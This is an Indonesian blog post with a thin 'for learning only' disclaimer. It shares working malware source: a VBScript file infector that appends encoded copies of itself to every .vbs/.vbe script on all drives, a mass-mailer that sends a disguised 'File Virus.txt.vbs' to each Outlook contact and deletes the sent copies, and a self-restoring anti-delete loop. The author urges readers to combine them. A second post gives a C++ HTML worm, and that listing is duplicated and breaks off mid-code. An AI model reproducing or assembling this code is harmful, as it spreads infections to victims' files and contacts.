Nih ada beberapa SC virus pake .vbs
buat belajar, gimana sih cara sistem itu bekerja. Jangan dibuat yang aneh-aneh (gue ga bertanggung jawab / cuma sebagai pembelajaran.
Infeksi File Antar Visual Basic Script (.VBS)
Code:
On Error Resume Next
Set MawarPutih = CreateObject("Scripting.FileSystemObject")
Angel1()
Sub Angel1()
On Error Resume Next
Set a = CreateObject("Scripting.FileSystemObject")
For Each SalinMawarPutih In a.Drives
If SalinMawarPutih.DriveType = 2 _
Or SalinMawarPutih.DriveType = 3 Then
Angel3 (SalinMawarPutih.Path & "\")
End If
Next
End Sub
Sub Angel2(FileTarget)
On Error Resume Next
Set otf = a.GetFile(WScript.ScriptFullName)
ra = otf.ReadAll
otf.Close
Set a = CreateObject("Scripting.FileSystemObject")
Set f = a.GetFolder(FileTarget)
For Each n In f.Files
FileExt = LCase(a.GetExtensionName(n.Path))
If FileExt = "vbs" Or FileExt = "vbe" Then
Set openvbs = a.OpenTextFile(n.Path, 1)
vbsra = openvbs.ReadAll
openvbs.Close
If InStr(1, vbsra, "Tips And Trik by ") = False Then
Set MawarPutih = CreateObject("Scripting.FileSystemObject")
Set JC = MawarPutih.OpenTextFile(WScript.ScriptFullName, 1)
RantingMawarPutih = JC.ReadAll
JC.Close
Set MawarMerah = MawarPutih.OpenTextFile(n.Path, 8, True)
MawarMerah.WriteLine vbCrLf & "' Hack .VBS by " & vbCrLf & "Tz = " & Chr(34) & Chr(34)
For i = 1 To Len(RantingMawarPutih)
Tz = Mid(RantingMawarPutih, i, 1)
Tz = Hex(Asc(Tz))
If Len(Tz) = 1 Then
Tz = "0" & Tz
End If
Gz = Gz + Tz
If Len(Gz) = 110 Then
MawarMerah.WriteLine "Tz = Tz + """ + Gz + Chr(34)
Gz = ""
End If
If Len(RantingMawarPutih) - i = 0 Then
MawarMerah.WriteLine "Tz = Tz + """ + Gz + Chr(34)
Gz = ""
End If
Next
MawarMerah.WriteLine "Set MawarPutih = CreateObject(""Scripting.FileSystemObject"")"
MawarMerah.WriteLine "WriteAppend.Write CM(Tz)"
MawarMerah.WriteLine "WriteAppend.Close"
MawarMerah.WriteLine "Function CM(CN)"
MawarMerah.WriteLine "For GC = 1 To Len(CN) Step 2"
MawarMerah.WriteLine "CM = CM & Chr(""&h"" & Mid(CN, GC, 2))"
MawarMerah.WriteLine "Next"
MawarMerah.WriteLine "End Function"
MawarMerah.Close
End If
End If
Next
End Sub
Sub Angel3(FileTarget)
On Error Resume Next
Set a = CreateObject("Scripting.FileSystemObject")
Set f = a.GetFolder(FileTarget)
For Each n In f.SubFolders
Angel2 (n.Path)
Angel3 (n.Path)
Next
End Sub
penyebaran Melalui E-mail Via Outlook
Code:
On Error Resume Next
Set MawarPutih = CreateObject("Scripting.FileSystemObject")
Set MawarMerah = MawarPutih.GetFile(WScript.ScriptFullName)
MawarMerah.Copy (MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs")
Set Attachments = MawarPutih.GetFile(MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs")
Attachments.Attributes = 0
Set RantingMawar = CreateObject("Outlook.Application")
If Not RantingMawar = "" Then
For Each DuriMawar In RantingMawar.GetNameSpace("MAPI").AddressLists
For DaunMawar = 1 To DuriMawar.AddressEntries.Count
Set BagianEmail = RantingMawar.CreateItem(0)
BagianEmail.Recipients.Add (DuriMawar.AddressEntries(DaunMawar))
BagianEmail.Subject = "Judul Pesan"
BagianEmail.Body = "Isi Pesan"
BagianEmail.Attachments.Add (MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs")
BagianEmail.DeleteAfterSubmit = True
BagianEmail.Send
Next
Next
End If
Anti Delete
Code:
On Error Resume Next
Set MawarPutih= Createobject("scripting.filesystemobject")
Set MawarMerah= MawarPutih.opentextfile(wscript.scriptfullname, 1)
BatangMawar= MawarMerah.readall
MawarMerah.Close
Do
If Not (MawarPutih.fileexists(wscript.scriptfullname)) Then
Set DuriMawar= MawarPutih.createtextfile(wscript.scriptfullname, True)
DuriMawar.writeBatangMawar
DuriMawar.Close
End If
Loop
semua code diatas.. bisa kalian jadiin 1.. tinggal kreasinya aja...
thx_to:Shadow Angel
Saturday, February 27, 2010
Buat Agan" yang seneng ngoprek C++ (Html worm c++ source code)
Code:
html worm
// name: win32.htmlworm
// author: fudc
// compiler: borland c++
// description: this worm spreads by adding a link to itself in html files
// improvements: you could add a link to a page containing an ie exploits
#include
#include
using namespace std; //
// this function does the real work
void htmlspread(char *htmlfile)
{
handle html_fd;
dword html_filesize,read_bytes,written_bytes;
char *c_htmlcode = null;
string *htmlcode = null; // make it simpler
long pos;
// open the html file
html_fd = createfile(htmlfile,generic_read|generic_write,
file_share_read|file_share_write,null,open_existing,file_attribute_normal,null);
if(html_fd == invalid_handle_value)
{
return;
}
// get file size
html_filesize = getfilesize(html_fd,null);
// allocate enough memory
c_htmlcode = (char *)malloc(html_filesize);
if(c_htmlcode == null)
{
return;
}
// read entire file
if(readfile(html_fd,c_htmlcode,html_filesize,&read_bytes,null) == 0)
{
closehandle(html_fd);
return;
}
// create a string object
htmlcode = new string(c_htmlcode);
free(c_htmlcode);
// already infected ?
if(htmlcode->find("") == string::npos)
{
pos = htmlcode->find("
html worm
// name: win32.htmlworm
// author: fudc
// compiler: borland c++
// description: this worm spreads by adding a link to itself in html files
// improvements: you could add a link to a page containing an ie exploits
#include
#include
using namespace std; //
// this function does the real work
void htmlspread(char *htmlfile)
{
handle html_fd;
dword html_filesize,read_bytes,written_bytes;
char *c_htmlcode = null;
string *htmlcode = null; // make it simpler
long pos;
// open the html file
html_fd = createfile(htmlfile,generic_read|generic_write,
file_share_read|file_share_write,null,open_existing,file_attribute_normal,null);
if(html_fd == invalid_handle_value)
{
return;
}
// get file size
html_filesize = getfilesize(html_fd,null);
// allocate enough memory
c_htmlcode = (char *)malloc(html_filesize);
if(c_htmlcode == null)
{
return;
}
// read entire file
if(readfile(html_fd,c_htmlcode,html_filesize,&read_bytes,null) == 0)
{
closehandle(html_fd);
return;
}
// create a string object
htmlcode = new string(c_htmlcode);
free(c_htmlcode);
// already infected ?
if(htmlcode->find("") == string::npos)
{
pos = htmlcode->find("